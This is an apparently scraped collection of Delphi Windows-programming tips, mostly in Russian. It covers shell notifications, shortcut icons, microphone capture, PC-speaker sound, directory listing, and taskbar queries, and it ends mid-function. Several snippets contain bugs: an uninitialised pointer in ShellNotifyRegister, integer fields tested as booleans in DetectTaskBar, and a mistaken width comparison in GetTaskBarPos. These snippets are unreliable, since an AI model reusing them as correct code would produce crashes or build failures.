procedure TShellNotification.SetPath(const Value: string);
begin
if fPath <> Value then
begin
fPath := Value;
ShellNotifyRegister;
end;
end;
procedure TShellNotification.SetWatch(const Value: Boolean);
begin
if fWatch <> Value then
begin
fWatch := Value;
ShellNotifyRegister;
end;
end;
procedure TShellNotification.SetWatchEvents(
const Value: TNotificationEvents);
begin
if fWatchEvents <> Value then
begin
fWatchEvents := Value;
ShellNotifyRegister;
end;
end;
procedure TShellNotification.ShellNotifyRegister;
var
NotifyRecord: PNOTIFYREGISTER;
Flags: DWORD;
Pidl: PItemIDList;
Attributes: ULONG;
begin
if not (csDesigning in ComponentState) and
not (csLoading in ComponentState) then
begin
SHILCreatefromPath( PChar(fPath), Addr(Pidl), Attributes);
NotifyRecord^.pidlPath := Pidl;
NotifyRecord^.bWatchSubtree := fWatch;
if NotifyHandle <> 0 then
ShellNotifyUnregister;
Flags := 0;
if neAssociationChange in FWatchEvents then
Flags := Flags or SHCNE_ASSOCCHANGED;
if neAttributesChange in FWatchEvents then
Flags := Flags or SHCNE_ATTRIBUTES;
if neFileChange in FWatchEvents then
Flags := Flags or SHCNE_UPDATEITEM;
if neFileCreate in FWatchEvents then
Flags := Flags or SHCNE_CREATE;
if neFileDelete in FWatchEvents then
Flags := Flags or SHCNE_DELETE;
if neFileRename in FWatchEvents then
Flags := Flags or SHCNE_RENAMEITEM;
if neDriveAdd in FWatchEvents then
Flags := Flags or SHCNE_DRIVEADD;
if neDriveRemove in FWatchEvents then
Flags := Flags or SHCNE_DRIVEREMOVED;
if neShellDriveAdd in FWatchEvents then
Flags := Flags or SHCNE_DRIVEADDGUI;
if neDriveSpaceChange in FWatchEvents then
Flags := Flags or SHCNE_FREESPACE;
if neMediaInsert in FWatchEvents then
Flags := Flags or SHCNE_MEDIAINSERTED;
if neMediaRemove in FWatchEvents then
Flags := Flags or SHCNE_MEDIAREMOVED;
if neFolderCreate in FWatchEvents then
Flags := Flags or SHCNE_MKDIR;
if neFolderDelete in FWatchEvents then
Flags := Flags or SHCNE_RMDIR;
if neFolderRename in FWatchEvents then
Flags := Flags or SHCNE_RENAMEFOLDER;
if neFolderUpdate in FWatchEvents then
Flags := Flags or SHCNE_UPDATEDIR;
if neNetShare in FWatchEvents then
Flags := Flags or SHCNE_NETSHARE;
if neNetUnShare in FWatchEvents then
Flags := Flags or SHCNE_NETUNSHARE;
if neServerDisconnect in FWatchEvents then
Flags := Flags or SHCNE_SERVERDISCONNECT;
if neImageListChange in FWatchEvents then
Flags := Flags or SHCNE_UPDATEIMAGE;
NotifyHandle := SHChangeNotifyRegister(Handle,
SHCNF_ACCEPT_INTERRUPTS or SHCNF_ACCEPT_NON_INTERRUPTS,
Flags, SNM_SHELLNOTIFICATION, 1, NotifyRecord);
end;
end;
procedure TShellNotification.ShellNotifyUnregister;
begin
if NotifyHandle <> 0 then
SHChangeNotifyDeregister(NotifyHandle);
end;
procedure TShellNotification.WndProc(var message: TMessage);
type
TPIDLLIST = record
pidlist : array[1..2] of PITEMIDLIST;
end;
PIDARRAY = ^TPIDLLIST;
var
Path1 : string;
Path2 : string;
ptr : PIDARRAY;
repeated : boolean;
event : longint;
begin
case message.Msg of
SNM_SHELLNOTIFICATION:
begin
event := message.LParam and ($7FFFFFFF);
Ptr := PIDARRAY(message.WParam);
Path1 := PathFromPidl( Ptr^.pidlist[1] );
Path2 := PathFromPidl( Ptr^.pidList[2] );
repeated := (PrevEvent = event)
and (uppercase(prevpath1) = uppercase(Path1))
and (uppercase(prevpath2) = uppercase(Path2));
if Repeated then
exit;
PrevEvent := message.Msg;
prevPath1 := Path1;
prevPath2 := Path2;
case event of
SHCNE_ASSOCCHANGED : DoAssociationChange;
SHCNE_ATTRIBUTES : DoAttributesChange( Path1, Path2);
SHCNE_CREATE : DoCreateFile(Path1);
SHCNE_DELETE : DoDeleteFile(Path1);
SHCNE_DRIVEADD : DoDriveAdd(Path1);
SHCNE_DRIVEADDGUI : DoDriveAddGui(path1);
SHCNE_DRIVEREMOVED : DoDriveRemove(Path1);
SHCNE_MEDIAINSERTED : DoMediaInsert(Path1);
SHCNE_MEDIAREMOVED : DoMediaRemove(Path1);
SHCNE_MKDIR : DoDirCreate(Path1);
SHCNE_NETSHARE : DoNetShare(Path1);
SHCNE_NETUNSHARE : DoNetUnShare(Path1);
SHCNE_RENAMEFOLDER : DoRenameFolder(Path1, Path2);
SHCNE_RENAMEITEM : DoRenameItem(Path1, Path2);
SHCNE_RMDIR : DoFolderRemove(Path1);
SHCNE_SERVERDISCONNECT : DoServerDisconnect(Path);
SHCNE_UPDATEDIR : DoDirUpdate(Path);
SHCNE_UPDATEIMAGE : ;
SHCNE_UPDATEITEM : ;
end;
end;
end;
end;
end.
|
Получить иконку из ярлыка.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{How to get icon from a shortcut file ?
I have found that if you use a ListView component,
to show a list of files in any folder that contains shortcuts,
then the shortcut icons do not appear correctly -
they do not show the true icon of the application to which they relate.
However, there is a a very useful feature of SHGetFileInfo,
which is SHGFI_LINKOVERLAY. This adds the shortcut "arrow",
which is shown in the bottom left corner of any shortcut icon.
The demo code below shows the basic use of the SHGFI_LINKOVERLAY feature.
I have added code to this demo, to distingiush between shortcut and non-shortcut files -
without this code, it will overlay the shortcut "arrow" irrespective of the file type.
To show the icon of a shortcut, the following code can be used as a demo:
1. Add the following components to a new project, and adjust their
properties according to the code below: }
// Code for DFM file:
object Form1: TForm1
Left = 379
Top = 355
Width = 479
Height = 382
Caption = 'Get Icon from Shortcut File'
Color = clBtnFace
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
OldCreateOrder = False
PixelsPerInch = 96
TextHeight = 13
object ListView: TListView
Left = 0
Top = 73
Width = 471
Height = 275
Align = alClient
Columns = <
item
Width = 100
end
item
Width = 100
end>
SmallImages = imgList
TabOrder = 0
ViewStyle = vsReport
end
object Panel: TPanel
Left = 0
Top = 0
Width = 471
Height = 73
Align = alTop
TabOrder = 1
object btnGetFile: TButton
Left = 16
Top = 8
Width = 75
Height = 25
Caption = 'Get file'
TabOrder = 0
OnClick = btnGetFileClick
end
object btnGetIcon: TButton
Left = 104
Top = 8
Width = 75
Height = 25
Caption = 'Get icon'
TabOrder = 1
OnClick = btnGetIconClick
end
object edFileName: TEdit
Left = 16
Top = 40
Width = 441
Height = 21
TabOrder = 2
end
end
object dlgOpen: TOpenDialog
Filter = 'Shortcut files|*.lnk|All files|*.*'
Options = [ofHideReadOnly, ofNoDereferenceLinks,
ofEnableSizing] // - this is important !
Left = 248
Top = 8
end
object imgList: TImageList
BlendColor = clWhite
BkColor = clWhite
Masked = False
ShareImages = True
Left = 216
Top = 8
end
end
// 2. Add the code to the PAS file below:
unit cdShortCutIcon;
interface
uses
Windows, Messages, SysUtils, Variants, Graphics, Controls, Forms,
Dialogs, Buttons, ExtCtrls, StdCtrls, StrUtils, ShellAPI,
CommCtrl, ImgList, ComCtrls, Classes;
type
TForm1 = class(TForm)
dlgOpen: TOpenDialog;
ListView: TListView;
imgList: TImageList;
Panel: TPanel;
btnGetFile: TButton;
btnGetIcon: TButton;
edFileName: TEdit;
procedure btnGetFileClick(Sender: TObject);
procedure btnGetIconClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.btnGetFileClick(Sender: TObject);
begin
{ choose file to get icon from }
if dlgOpen.Execute then edFileName.Text := dlgOpen.FileName;
end;
procedure TForm1.btnGetIconClick(Sender: TObject);
var
Icon : TIcon;
ListItem : TListItem;
shInfo : TSHFileInfo;
sFileType : string;
begin
{ initialise ListView and Icon }
ListView.SmallImages := imgList;
Icon := TIcon.Create;
try
ListView.Items.BeginUpdate;
ListItem := listview.items.add;{ Initialise ListView.Item.Add }
{ get details about file type from SHGetFileInfo }
SHGetFileInfo(PChar(edFileName.Text), 0, shInfo,
SizeOf(shInfo), SHGFI_TYPENAME);
sFileType := shInfo.szTypeName;
{ is this a shortcut file ? }
if shInfo.szTypeName = 'Shortcut' then
SHGetFileInfo(PChar(edFileName.Text), 0, shInfo, SizeOf(shInfo),
SHGFI_LINKOVERLAY or SHGFI_ICON or
SHGFI_SMALLICON or SHGFI_SYSICONINDEX)
else
{ ...otherwise treat it as a normal file}
SHGetFileInfo(PChar(edFileName.Text), 0, shInfo, SizeOf(shInfo),
SHGFI_ICON or SHGFI_SMALLICON or
SHGFI_SYSICONINDEX);
{ assign icon }
Icon.Handle := shInfo.hIcon;
{ List File name, Icon and FileType in ListView}
ListItem.Caption := ExtractFileName(edFileName.Text); //...add filename
ListItem.SubItems.Add(sFileType); //...and filetype..
ListItem.ImageIndex := imgList.AddIcon(Icon); //...and icon.
finally
ListView.Items.EndUpdate; //..free memory on icon and clean up.
sFileType := '';
Icon.Free;
end;
end;
end.
Как получить короткий путь файла если есть длинный.
// Короткий GetShortPathName(LongPath) // Наоборот длинный GetFullPathName(ShortPath) |
Как считать сигнал с микрофона.
| Программист выходит к микрофону, чтобы сказать речь. Подходит и стучит по микрофону: Тук-тук-тук, Раз, Два, Три... Из микрофона: "фХЛ-ФХЛ-ФХЛ, тБЪ, дЧБ, фТЙ..." |
В Windows нет разделения каналов записи по источникам.
CD-ROM ----------| | |--- Динамики Микрофон --------| | | - Windows --|--- Записывающие программы Линейный вход ---| | | |--- Линейный выход MIDI ------------|
Все поступающие в систему звуки смешиваются, и лишь после этого их получает программа.
Для получения звукового сигнала нужно воспользоваться WinAPI. WaveInOpen открывает доступ к микрофону. Одновременно только одна программа может работать с микрофоном. Заодно Вы указываете, какая нужна частота, сколько бит на значение и размер буфера. От последнего зависит, как часто и в каком объеме информация будет поступать в программу.
Далее нужно выделить память для буфера и вызвать функцию WaveInAddBuffer, которая передаст Windows пустой буфер. После вызова WaveInStart Windows начнет заполнять буфер, и, после его заполнения, пошлет сообщение MM_WIM_DATA. В нем нужно обработать полученную информацию и вновь вызвать WaveInAddBuffer, тем самым указав, что буфер пуст.
Функции WaveInReset и WaveInClose прекратят поступление информации в программу и закроют доступ к микрофону.
Эта программа считывает сигнал с микрофона и выводит его на экран. Частота сигнала - 22050 Гц. Количество бит определяется флажком, размер буфера TrackBar-ом.
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls, ComCtrls, MMSystem;
type
TData8 = array [0..127] of byte;
PData8 = ^TData8;
TData16 = array [0..127] of smallint;
PData16 = ^TData16;
TPointArr = array [0..127] of TPoint;
PPointArr = ^TPointArr;
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
PaintBox1: TPaintBox;
TrackBar1: TTrackBar;
CheckBox1: TCheckBox;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure CheckBox1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
procedure OnWaveIn(var Msg: TMessage); message MM_WIM_DATA;
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
var
WaveIn: hWaveIn;
hBuf: THandle;
BufHead: TWaveHdr;
bufsize: integer;
Bits16: boolean;
p: PPointArr;
stop: boolean = false;
procedure TForm1.Button1Click(Sender: TObject);
var
header: TWaveFormatEx;
BufLen: word;
buf: pointer;
begin
BufSize := TrackBar1.Position * 500 + 100; { Размер буфера }
Bits16 := CheckBox1.Checked;
with header do
begin
wFormatTag := WAVE_FORMAT_PCM;
nChannels := 1; { количество каналов }
nSamplesPerSec := 22050; { частота }
wBitsPerSample := integer(Bits16) * 8 + 8; { 8 / 16 бит }
nBlockAlign := nChannels * (wBitsPerSample div 8);
nAvgBytesPerSec := nSamplesPerSec * nBlockAlign;
cbSize := 0;
end;
WaveInOpen(Addr(WaveIn), WAVE_MAPPER, addr(header),
Form1.Handle, 0, CALLBACK_WINDOW);
BufLen := header.nBlockAlign * BufSize;
hBuf := GlobalAlloc(GMEM_MOVEABLE and GMEM_SHARE, BufLen);
Buf := GlobalLock(hBuf);
with BufHead do
begin
lpData := Buf;
dwBufferLength := BufLen;
dwFlags := WHDR_BEGINLOOP;
end;
WaveInPrepareHeader(WaveIn, Addr(BufHead), sizeof(BufHead));
WaveInAddBuffer(WaveIn, addr(BufHead), sizeof(BufHead));
GetMem(p, BufSize * sizeof(TPoint));
stop := true;
WaveInStart(WaveIn);
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
if stop = false then
Exit;
stop := false;
while not stop do
Application.ProcessMessages;
stop := false;
WaveInReset(WaveIn);
WaveInUnPrepareHeader(WaveIn, addr(BufHead), sizeof(BufHead));
WaveInClose(WaveIn);
GlobalUnlock(hBuf);
GlobalFree(hBuf);
FreeMem(p, BufSize * sizeof(TPoint));
end;
procedure TForm1.OnWaveIn;
var
i: integer;
data8: PData8;
data16: PData16;
h: integer;
XScale, YScale: single;
begin
h := PaintBox1.Height;
XScale := PaintBox1.Width / BufSize;
if Bits16 then
begin
data16 := PData16(PWaveHdr(Msg.lParam)^.lpData);
YScale := h / (1 shl 16);
for i := 0 to BufSize - 1 do
p^[i] := Point(round(i * XScale),
round(h / 2 - data16^[i] * YScale));
end
else
begin
Data8 := PData8(PWaveHdr(Msg.lParam)^.lpData);
YScale := h / (1 shl 8);
for i := 0 to BufSize - 1 do
p^[i] := Point(round(i * XScale),
round(h - data8^[i] * YScale));
end;
with PaintBox1.Canvas do
begin
Brush.Color := clWhite;
FillRect(ClipRect);
Polyline(Slice(p^, BufSize));
end;
if stop then
WaveInAddBuffer(WaveIn, PWaveHdr(Msg.lParam), SizeOf(TWaveHdr))
else
stop := true;
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
Button2.Click;
end;
procedure TForm1.CheckBox1Click(Sender: TObject);
begin
if stop then
begin
Button2.Click;
Button1.Click;
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
TrackBar1.OnChange := CheckBox1Click;
Button1.Caption := 'Start';
Button2.Caption := 'Stop';
CheckBox1.Caption := '16 / 8 bit';
end;
end.
|
Извлечение звуков из системного динамика под Windows95.
| Обьявление в газете: Куплю Windows б/в. |
procedure Sound(Freq: Word);
var
B: Byte;
begin
if Freq > 18 then
begin
Freq := Word(1193181 div LongInt(Freq));
B := Byte(GetPort($61));
if (B and 3) = 0 then
begin
SetPort($61, Word(B or 3));
SetPort($43, $B6);
end;
SetPort($42, Freq);
SetPort($42, Freq shr 8);
end;
end;
procedure NoSound;
var
Value: Word;
begin
Value := GetPort($61) and $FC;
SetPort($61, Value);
end;
procedure SetPort(address, Value: Word);
var
bValue: byte;
begin
bValue := trunc(Value and 255);
asm
mov dx, address
mov al, bValue
out dx, al
end;
end;
function GetPort(address: word): word;
var
bValue: byte;
begin
asm
mov dx, address
in al, dx
mov bValue, al
end;
GetPort := bValue;
end;
|
Под WinNT вы можете использовать Beep(Tone, Duration) (задавать тон и продолжительность звучания).
Извлечение звуков из системного динамика под Windows95 2.
| Автор: Steve Keyser |
| Хакер Петя любит Windows! Хакер Вася любит Windows! И хакер Серёжа тоже любит Windows! А Windows их всех НЕНАВИДИТ! |
Вот мой старый способ, которым я извлекал звуки в Visual Basic (это было много времени назад) с помощью функций API. Ниже приведена функция, требующая на входе два параметра: тон и длительность воспроизведения. (Примечание: функции Windows API требуют гораздо большее количество параметров, но вам нужно беспокоиться только о тех, которые изменяются от вызова до вызова... т.е. только о тоне и длительности.).
procedure MakeSound(note, duration: integer);
{
Цель: Проигрывание звуков на динамике PC.
Параметры: note = шаг тона (правильный диапазон с 1 по 84 (1
самый низкий тон и 84 самый высокий)
duration = продолжительность звучания (допустимый диапазон
с 1 по 128... но это мои догадки... чем меньше значение
тем короче продолжительность)
}
var
result: integer;
begin
{проверка на правильность величины... должно быть 1-84}
if (note < 1) or (note > 84) then
exit;
{проверка на правильность величины... по моим догадкам, должно быть
в диапазоне от 1 до 128}
if (duration < 1) or (duration > 128) then
exit;
{открываем звуковой канал}
result := OpenSound;
{устанавливаем размер звуковой очереди (не очищайте это! Я думаю что
каждая нота требует 6 байт.)}
result := SetVoiceQueueSize(1, 6);
{устанавливаем звуковую ноту (и ее длительность)}
result := SetVoiceNote(1, note, duration, 1);
{проигрываем ноту}
result := StartSound;
{ожидаем окончания звучания}
result := WaitSoundState(S_QUEUEEMPTY);
{закрываем звуковой канал}
CloseSound;
end;
|
Затем можно вызвать эту функцию следующим образом...
MakeSound(1,1); MakeSound(32,10); |
Эти две строчки заставят динамик вашего PC зазвучать сначала в низком диапазоне (продолжительностью в секунду или две), и затем немного дольше в более высоком диапазоне.
Получить звук с микрофона.
| Обнаружен новый вирус Владимир Владимирович, при его обнаружении антивирус сам стирает все на винте. |
Сначала надо создать пустой аудио файл, допустим Windows Audio Recorder, причем какие у него будут параметры, такие будут и у результирующего файла, затем с помощью var Media:TMediaPlayer.
procedure TForm1.btRecordClick(Sender: TObject);
begin
with Media do
begin
{ Set FileName to the test.wav file to }
{ get the recording parameters. }
FileName := 'd:\test.wav';
{ Open the device. }
Open;
{ Start recording. }
Wait := False;
StartRecording;
end;
end;
procedure TForm1.btStopClick(Sender: TObject);
begin
with Media do
begin
{ Stop recording. }
Stop;
{ Change the filename to the new file we want to write. }
FileName := 'd:\new.wav';
{ Save and close the file. }
Save;
Close;
end;
end;
|
Получить все поддиректории указанной директории.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
procedure GetSubDirs(const sRootDir: string; slt: TStrings);
var
srSearch: TSearchRec;
sSearchPath: string;
sltSub: TStrings;
i: Integer;
begin
sltSub := TStringList.Create;
slt.BeginUpdate;
try
sSearchPath := AddDirSeparator(sRootDir);
if FindFirst(sSearchPath + '*', faDirectory, srSearch) = 0 then
repeat
if ((srSearch.Attr and faDirectory) = faDirectory) and
(srSearch.Name <> '.') and
(srSearch.Name <> '..') then
begin
slt.Add(sSearchPath + srSearch.Name);
sltSub.Add(sSearchPath + srSearch.Name);
end;
until (FindNext(srSearch) <> 0);
FindClose(srSearch);
for i := 0 to sltSub.Count - 1 do
GetSubDirs(sltSub.Strings[i], slt);
finally
slt.EndUpdate;
FreeAndNil(sltSub);
end;
end;
Взять один символ из потока памяти.
| - Создали новый компьютер, "Майк Тайсон" назвали. - Ну и в чем главное отличие? - Два байта памяти. |
unit MsFormR;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ExtCtrls;
type
TForm1 = class(TForm)
OpenDialog1: TOpenDialog;
SaveDialog1: TSaveDialog;
Memo1: TMemo;
ListBox1: TListBox;
Panel1: TPanel;
Button1: TButton;
Button2: TButton;
Splitter1: TSplitter;
procedure FormCreate(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
MemStr1: TMemoryStream;
public
procedure ShowMemStr;
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
begin
MemStr1 := TMemoryStream.Create;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
Str1: TFileStream;
begin
OpenDialog1.Filter :=
'Any file (*.*)|*.*';
OpenDialog1.DefaultExt := '*';
if OpenDialog1.Execute then
begin
Str1 := TFileStream.Create (
OpenDialog1.Filename, fmOpenRead);
try
MemStr1.LoadFromStream (Str1);
ShowMemStr;
Button2.Enabled := true;
finally
Str1.Free;
end;
end;
end;
procedure TForm1.ShowMemStr;
begin
Memo1.Lines.LoadFromStream (MemStr1);
end;
procedure TForm1.Button2Click(Sender: TObject);
const
ndx: LongInt = 1;
var
pch: PChar;
tmpC: Char;
begin
pch := MemStr1.Memory;
tmpC := pch[ndx];
pch[ndx] := #0;
ListBox1.Items.SetText(MemStr1.Memory);
pch[ndx] := tmpC;
if ndx < MemStr1.Size then
Inc(ndx)
else
Button2.Enabled := False;
end;
end.
|
Загрузить весь проект
Получить системный фокус приложения.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
function GetSysFocus: Integer;
var
hFgWin, FgThreadID, hFocusWin: Integer;
begin
hFgWin := GetForegroundWindow;
FgThreadID := GetWindowThreadProcessID(hFgWin, nil);
if AttachThreadInput(GetCurrentThreadID, FgThreadID, True) then
begin
hFocusWin := GetFocus;
Result := GetFocus;
AttachThreadInput(GetCurrentThreadID, FgThreadID, False);
end
else
Result := GetFocus;
end;
Вывести информацию о системе.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
The SYSTEM_INFO structure contains information about the current computer
system. This includes the architecture and type of the processor, the number of
processors in the system, the page size, and other such information.
}
procedure TForm1.Button1Click(Sender: TObject);
var
SysInfo: TSystemInfo;
begin
GetSystemInfo(SysInfo);
with ListBox1.Items, SysInfo do
begin
Add('ProcessorArchitecture:' + IntToStr(wProcessorArchitecture));
Add(FloatToStr(dwPageSize) + ' Kb page size');
Add(Format('Lowest memory address accessible to applications and DLL - %p',
[lpMinimumApplicationAddress]));
Add(Format('Highest memory address accessible to applications and DLL - %p',
[lpMaximumApplicationAddress]));
Add('OEMID:' + IntToStr(dwOemId));
Add('ActiveProcessorMask:' + IntToStr(dwActiveProcessorMask));
Add(IntToStr(dwNumberOfProcessors) + ' - number of processors');
Add('ProcessorType:' + IntToStr(dwProcessorType));
case wProcessorLevel of
3: Add('Intel 80386 processor level');
4: Add('Intel 80486 processor level');
5: Add('Intel Pentium processor level');
end;
Add(FloatToStr(dwAllocationGranularity / 1024) +
' Kb - granularity with which virtual memory is allocated');
Add('ProcessorRevision:' + IntToStr(wProcessorRevision));
end;
end;
Получить шрифт системного меню.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
function GetMenuFont: TFont;
var
ncm: TNonClientMetrics;
begin
ncm.cbSize := SizeOf(TNonClientMetrics);
SystemParametersInfo(SPI_GETNONCLIENTMETRICS, SizeOf(TNonClientMetrics), @ncm, 0);
Result := TFont.Create;
{
lfCaptionFont - regular captions
lfSmCaptionFont - small captions
lfMenuFont - menus
lfStatusFont - status bars
lfMessageFont - message boxes
}
Result.Handle := CreateFontIndirect(ncm.lfCaptionFont);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
label1.Caption := GetMenuFont.Name;
end;
Получение информации о таблице.
Вам нужно воспользоваться свойством FieldDefs. В следующем примере список полей и их соответствующий размер передается компоненту TMemo (расположенному на форме) с именем Memo1:
procedure TForm1.ShowFields;
var
i: Word;
begin
Memo1.Lines.Clear;
Table1.FieldDefs.Update;
{ должно быть вызвано, если Table1 не активна }
for i := 0 to Table1.FieldDefs.Count - 1 do
With Table1.FieldDefs.Items[i] do
Memo1.Lines.Add(Name + ' - ' + IntToStr(Size));
end;
|
Если вам просто нужны имена полей (FieldNames), то используйте метода TTable GetFieldNames: GetIndexNames для получения имен индексов:
var
FldNames, IdxNames : TStringList;
begin
FldNames := TStringList.Create;
IdxNames := TStringList.Create;
If Table1.State = dsInactive then
Table1.Open;
Table1.GetFieldNames(FldNames);
Table1.GetIndexNames(IdxNames);
{...... используем полученную информацию ......}
FldNames.Free; {освобождаем stringlist}
IdxNames.Free;
end;
|
Для получения информации об определенном поле вы должны использовать FieldDef.
Получение физического пути к таблице.
Автор: Xavier Pacheco
Если ссылка на таблицу получена через псевдоним, получить физический путь к ней не так просто. Для получения этого пути необходимо использовать функцию BDE DbiGetDatabaseDesc. Данной функции в качестве параметров передаются имя псевдонима и указатель на структуру DBDesc. Структура DBDesc будет заполнена информацией, относящейся к этому псевдониму. Определение структуры:
pDBDesc = ^DBDesc;
DBDesc = packed record { Описание данной базы данных }
szName : DBINAME; { Логическое имя (или псевдоним) }
szText : DBINAME; { Описательный текст }
szPhyName : DBIPATH; { Физическое имя/путь }
szDbType : DBINAME; { Тип базы данных }
end;
|
DBIERR_NONE Описание базы данных для pszName было успешно извлечено. DBIERR_OBJNOTFOUND База данных, указанная в pszName, не была обнаружена.
Приведенный ниже пример кода показывает как можно получить физический путь для компонента TTable, использующего псевдоним DBDemos:
var
vDBDesc: DBDesc;
DirTable: String;
begin
Check(DbiGetDatabaseDesc(PChar(Table1.DatabaseName), @vDBDesc));
DirTable := Format('%s\%s', [vDBDesc.szPhyName, Table1.TableName]);
ShowMessage(DirTable);
end;
|
Получить дескриптор панели задач.
Используем функцию нахождения окна FindWindow, указывая ей в качестве параметров сначала название класса окна, затем его заголовок. Если окно будет найдено, функция выдаст его дескриптор.
handle_taskbar := FindWindow('Shell_TrayWnd', nil);
|
Получение информации о TaskBar.
Для вывода информации мы будет использовать компонент TStringGrid с закладки Additional.
Сначала вам нужно будет после.
var Form1: TForm1; |
Добавить следующий код:
AppBarData : TAppBarData; bAlwaysOnTop, bAutoHide : boolean; Clrect,rect : TRect; Edge: UInt; |
Затем после слова Implementation пишем.
procedure DetectTaskBar;
begin
AppBarData.hWnd := FindWindow('Shell_TrayWnd', nil);
AppBarData.cbSize := sizeof(AppBarData);
bAlwaysOnTop := (SHAppBarMessage(ABM_GETSTATE, AppBardata)
and ABS_ALWAYSONTOP) <> 0;
bAutoHide := (SHAppBarMessage(ABM_GETSTATE, AppBardata)
and ABS_AUTOHIDE) <> 0;
GetClientRect(AppBarData.hWnd, Clrect);
GetWindowRect(AppBarData.hwnd, rect);
if rect.top > 0 then
Edge := ABE_BOTTOM
else
if rect.bottom then
Edge:=ABE_TOP
else
if rect.right then
Edge:=ABE_LEFT
else
Edge:=ABE_RIGHT;
end;
|
И осталось описать самое главное - обработчик нажатия кнопки:
procedure TForm1.Button1Click(Sender: TObject);
begin
DetectTaskBar;
StringGrid1.Cells[0,0] := 'Выше других окон';
StringGrid1.Cells[0,1] := 'Автоматически убирать с экрана';
StringGrid1.Cells[0,2] := 'Клиентская область';
StringGrid1.Cells[0,3] := 'Оконная область';
StringGrid1.Cells[0,4] := 'Края';
if bAlwaysOnTop = true then
StringGrid1.Cells[1,0] := 'true'
else
StringGrid1.Cells[1,0] := 'false';
if bAutoHide = true then
StringGrid1.Cells[1,1] := 'true'
else
StringGrid1.Cells[1,1] := 'false';
StringGrid1.Cells[1,2] := IntToStr(Clrect.Left)+':'+IntToStr(Clrect.Top) +
':'+IntToStr(Clrect.Right)+':'+IntToStr(Clrect.Bottom);
StringGrid1.Cells[1,3] := IntToStr(rect.Left)+':'+IntToStr(rect.Top) +
':'+IntToStr(rect.Right)+':'+IntToStr(rect.Bottom);
StringGrid1.Cells[1,4] := IntToStr(Edge);
end;
|
Определить позицию панели задач.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{With SHAppBarMessage }
uses
ShellAPI;
procedure TForm1.Button1Click(Sender: TObject);
var
tabd: TAppBarData;
PosString: string;
begin
FillChar(tabd, SizeOf(TAppBarData), 0);
tabd.cbSize := SizeOf(TAppBarData);
if SHAppBarMessage(ABM_GETTASKBARPOS, Tabd) = 0 then Exit;
with Tabd.rc do
PosString := Format(' (%d, %d);(%d, %d) ', [Left, Top, Right, Bottom]);
case tabd.uEdge of
ABE_LEFT: ShowMessage('Left Position' + PosString);
ABE_TOP: ShowMessage('Top Position' + PosString);
ABE_RIGHT: ShowMessage('Right Position' + PosString);
ABE_BOTTOM: ShowMessage('Bottom Position' + PosString);
end;
end;
Определить позицию панели задач 2.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{With FindWindow, GetWindowRect }
type
TTaskBarPos = (_TOP, _BOTTOM, _LEFT, _RIGHT, _NONE);
function GetTaskBarPos: TTaskBarPos;
var
hTaskbar: HWND;
T: TRect;
scrW, scrH: integer;
begin
hTaskBar := FindWindow('Shell_TrayWnd', nil);
if hTaskbar <> 0 then
begin
GetWindowRect(hTaskBar, T);
ScrW := Screen.Width;
ScrH := Screen.Height;
if (T.Top > scrH div 2) and (T.Right >= scrW) then
Result := _BOTTOM
else if (T.Top < scrH div 2) and (T.Bottom <= scrW div 2) then
Result := _TOP
else if (T.Left < scrW div 2) and (T.Top <= 0) then
Result := _LEFT
else // the last "if" is not really needed
if T.Left >= ScrW div 2 then
Result := _RIGHT;
end;
end;
procedure TForm1.Button5Click(Sender: TObject);
var
TaskBarPos: TTaskBarPos;
begin
TaskBarPos := GetTaskBarPos;
case TaskBarPos of
_LEFT: ShowMessage('Left Position');
_TOP: ShowMessage('Top Position');
_RIGHT: ShowMessage('Right Position');
_BOTTOM: ShowMessage('Bottom Position');
end;
end;
Получить дескриптор окна, которое владеет кнопками запущенных программ на панели задач.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
In this article, I wish to describe the useful undocumented function
GetTaskmanWindow. The GetTaskmanWindow function returns a handle to
the window that ownes the taskbar buttons.
Here is the quoting about taskbar from Microsoft MSDN:
"The Microsoft® Windows® interface includes a special application desktop
toolbar called the taskbar.
The taskbar can be used for such tasks as switching between open
windows and starting new applications..."
and "The taskbar includes the Start menu, taskbar buttons,
a shortcut menu, and a status area...".
Unfortunately, Win32 API doesn't contain documented
function that can be used for accessing to the
taskbar so we should again use an undocumented way.
Here is the prototype for GetTaskmanWindow:
function GetTaskmanWindow (): HWND;
As always, Microsoft doesn't provide us with the exports symbols
in the User32.lib for this function, so we should load them dynamically using the
GetProcAddress and GetModuleHandle functions:
}
// getaskmanwnd.cpp (Windows NT/2000)
//
// This example will show you how you can obtain a handle to the
// Windows Taskbar window.
// Translated from C to Delphi by Thomas Stutz
// Original Code:
// (c)1999 Ashot Oganesyan K, SmartLine, Inc
// mailto:ashot@aha.ru, http://www.protect-me.com, http://www.codepile.com
function TaskmanWindow: HWND;
type
TGetTaskmanWindow = function(): HWND; stdcall;
var
hUser32: THandle;
GetTaskmanWindow: TGetTaskmanWindow;
begin
Result := 0;
hUser32 := GetModuleHandle('user32.dll');
if (hUser32 > 0) then
begin
